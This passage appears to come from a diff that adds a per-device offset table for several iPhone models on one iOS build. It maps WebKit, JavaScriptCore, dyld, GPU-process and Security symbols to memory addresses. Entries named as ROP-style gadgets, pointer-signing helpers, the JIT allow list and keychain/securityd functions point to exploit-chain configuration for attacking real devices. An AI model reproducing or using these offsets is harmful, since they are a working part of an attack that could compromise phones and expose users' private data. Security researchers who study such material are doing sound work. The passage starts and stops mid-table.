libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, +"iPhone11,6_22G100": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + +"iPhone11,4_22G100": { + __pthread_head : 0x2689b0020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef4e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f007150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd5ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4e16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218865820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccf08b4n, + libGPUCompilerImplLazy_cstring : 0x23be3a870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d024000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576dfe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02a988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x27101c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + + "iPhone11,8_22G100": { + __pthread_head : 0x26899c020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f97f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f9840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8c38n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707ac8n, + free_slabs : 0x1ed7c1250n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da138n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e66d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5940n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576a3e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271004000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a6e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8874b8n, + WebCore__initPKContact_value : 0x1ed8874c0n, + WebCore__PAL_getPKContactClass : 0x1ed87e978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b8c0n, + }, + "iPhone12,1_22G100": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da4f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da1a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da1a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da0f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da1b8n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ccb48b4n, + libGPUCompilerImplLazy_cstring : 0x23bdfe870n, + libsystem_c__atexit_mutex : 0x1ed6e6758n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e59c0n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576e7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d026988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271118000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87a768n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887538n, + WebCore__initPKContact_value : 0x1ed887540n, + WebCore__PAL_getPKContactClass : 0x1ed87e9f8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed885d10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed885d08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed885cf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87b940n, + }, + "iPhone12,3_5_22G100": { + __pthread_head : 0x268aa4020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f9e28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f9910n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9870n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f98c0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f8cb8n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707b48n, + free_slabs : 0x1ed7c12d0n, + gadget_control_1_ios184 : 0x23ef122ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f003150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 